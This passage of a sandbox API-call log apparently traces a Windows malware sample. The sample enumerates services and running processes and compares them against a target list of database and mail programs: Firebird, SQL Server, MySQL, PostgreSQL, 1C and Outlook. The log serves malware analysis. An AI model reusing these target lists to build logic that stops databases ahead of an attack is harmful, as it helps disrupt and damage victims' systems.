	[0056.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0056.050] lstrlenW (lpString="Power") returned 5
	[0056.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0056.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0056.050] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0056.050] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0056.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0056.050] lstrlenW (lpString="ProfSvc") returned 7
	[0056.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0056.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0056.050] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0056.050] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0056.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0056.050] lstrlenW (lpString="RpcEptMapper") returned 12
	[0056.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0056.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0056.050] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0056.050] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0056.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0056.051] lstrlenW (lpString="RpcSs") returned 5
	[0056.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0056.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0056.051] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0056.051] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0056.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0056.051] lstrlenW (lpString="SamSs") returned 5
	[0056.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0056.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0056.051] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0056.051] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0056.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0056.051] lstrlenW (lpString="Schedule") returned 8
	[0056.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0056.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0056.051] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0056.051] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0056.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0056.051] lstrlenW (lpString="SENS") returned 4
	[0056.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0056.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0056.051] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0056.051] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0056.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0056.051] lstrlenW (lpString="ShellHWDetection") returned 16
	[0056.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0056.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0056.051] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0056.052] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0056.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0056.052] lstrlenW (lpString="Spooler") returned 7
	[0056.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0056.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0056.052] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0056.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0056.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0056.052] lstrlenW (lpString="swprv") returned 5
	[0056.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0056.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0056.052] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0056.052] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0056.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0056.052] lstrlenW (lpString="SysMain") returned 7
	[0056.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0056.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0056.052] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0056.052] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0056.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0056.052] lstrlenW (lpString="Themes") returned 6
	[0056.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0056.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0056.052] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0056.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0056.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0056.052] lstrlenW (lpString="TrkWks") returned 6
	[0056.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0056.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0056.052] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0056.053] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0056.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0056.053] lstrlenW (lpString="UxSms") returned 5
	[0056.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0056.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0056.053] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0056.053] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0056.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0056.053] lstrlenW (lpString="VSS") returned 3
	[0056.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0056.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0056.053] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0056.053] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0056.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0056.053] lstrlenW (lpString="WdiServiceHost") returned 14
	[0056.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0056.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0056.053] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0056.053] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0056.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0056.053] lstrlenW (lpString="WdiSystemHost") returned 13
	[0056.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0056.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0056.053] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0056.053] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0056.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0056.053] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0056.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0056.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0056.054] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0056.054] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0056.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0056.054] lstrlenW (lpString="Winmgmt") returned 7
	[0056.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0056.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0056.054] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0056.054] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0056.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0056.054] lstrlenW (lpString="WPDBusEnum") returned 10
	[0056.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0056.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0056.054] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0056.054] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0056.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0056.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ec0068 | out: hHeap=0x4f0000) returned 1
	[0056.054] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x158
	[0056.056] Process32FirstW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0056.057] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0056.058] lstrlenW (lpString="System") returned 6
	[0056.058] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0056.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0056.058] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0056.058] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0056.058] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0056.058] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0056.058] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0056.058] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0056.059] lstrlenW (lpString="smss.exe") returned 8
	[0056.059] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0056.059] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0056.059] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0056.059] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0056.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0056.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0056.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0056.059] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0056.060] lstrlenW (lpString="csrss.exe") returned 9
	[0056.060] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0056.060] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0056.060] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0056.060] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0056.060] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0056.060] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0056.060] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0056.060] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0056.061] lstrlenW (lpString="wininit.exe") returned 11
	[0056.061] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0056.061] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0056.061] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0056.061] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0056.062] lstrlenW (lpString="csrss.exe") returned 9
	[0056.062] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0056.062] lstrlenW (lpString="winlogon.exe") returned 12
	[0056.063] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0056.063] lstrlenW (lpString="services.exe") returned 12
	[0056.063] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0056.064] lstrlenW (lpString="lsass.exe") returned 9
	[0056.064] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0056.065] lstrlenW (lpString="lsm.exe") returned 7
	[0056.065] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.066] lstrlenW (lpString="svchost.exe") returned 11
	[0056.066] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.067] lstrlenW (lpString="svchost.exe") returned 11
	[0056.067] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.067] lstrlenW (lpString="svchost.exe") returned 11
	[0056.067] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.068] lstrlenW (lpString="svchost.exe") returned 11
	[0056.068] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.069] lstrlenW (lpString="svchost.exe") returned 11
	[0056.069] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0056.070] lstrlenW (lpString="audiodg.exe") returned 11
	[0056.070] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.070] lstrlenW (lpString="svchost.exe") returned 11
	[0056.070] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.071] lstrlenW (lpString="svchost.exe") returned 11
	[0056.071] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0056.072] lstrlenW (lpString="dwm.exe") returned 7
	[0056.072] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0056.072] lstrlenW (lpString="explorer.exe") returned 12
	[0056.072] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0056.073] lstrlenW (lpString="spoolsv.exe") returned 11
	[0056.073] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0056.074] lstrlenW (lpString="taskhost.exe") returned 12
	[0056.074] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0056.075] lstrlenW (lpString="svchost.exe") returned 11
	[0056.075] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0056.075] lstrlenW (lpString="taskeng.exe") returned 11
	[0056.075] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0056.076] lstrlenW (lpString="taskhost.exe") returned 12
	[0056.076] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0056.077] lstrlenW (lpString="program.exe") returned 11
	[0056.077] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0056.078] lstrlenW (lpString="felt.exe") returned 8
	[0056.078] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0056.078] lstrlenW (lpString="bibliography.exe") returned 16
	[0056.078] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0056.079] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0056.079] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0056.080] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0056.080] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0056.915] lstrlenW (lpString="converter.exe") returned 13
	[0056.915] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0056.916] lstrlenW (lpString="once.exe") returned 8
	[0056.916] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0056.917] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0056.917] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0056.917] lstrlenW (lpString="always.exe") returned 10
	[0056.917] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0056.918] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0056.918] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0056.919] lstrlenW (lpString="donated.exe") returned 11
	[0056.919] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0056.920] lstrlenW (lpString="nowherepike.exe") returned 15
	[0056.920] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0056.920] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0056.921] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0056.921] lstrlenW (lpString="roommate_ordinary.exe") returned 21
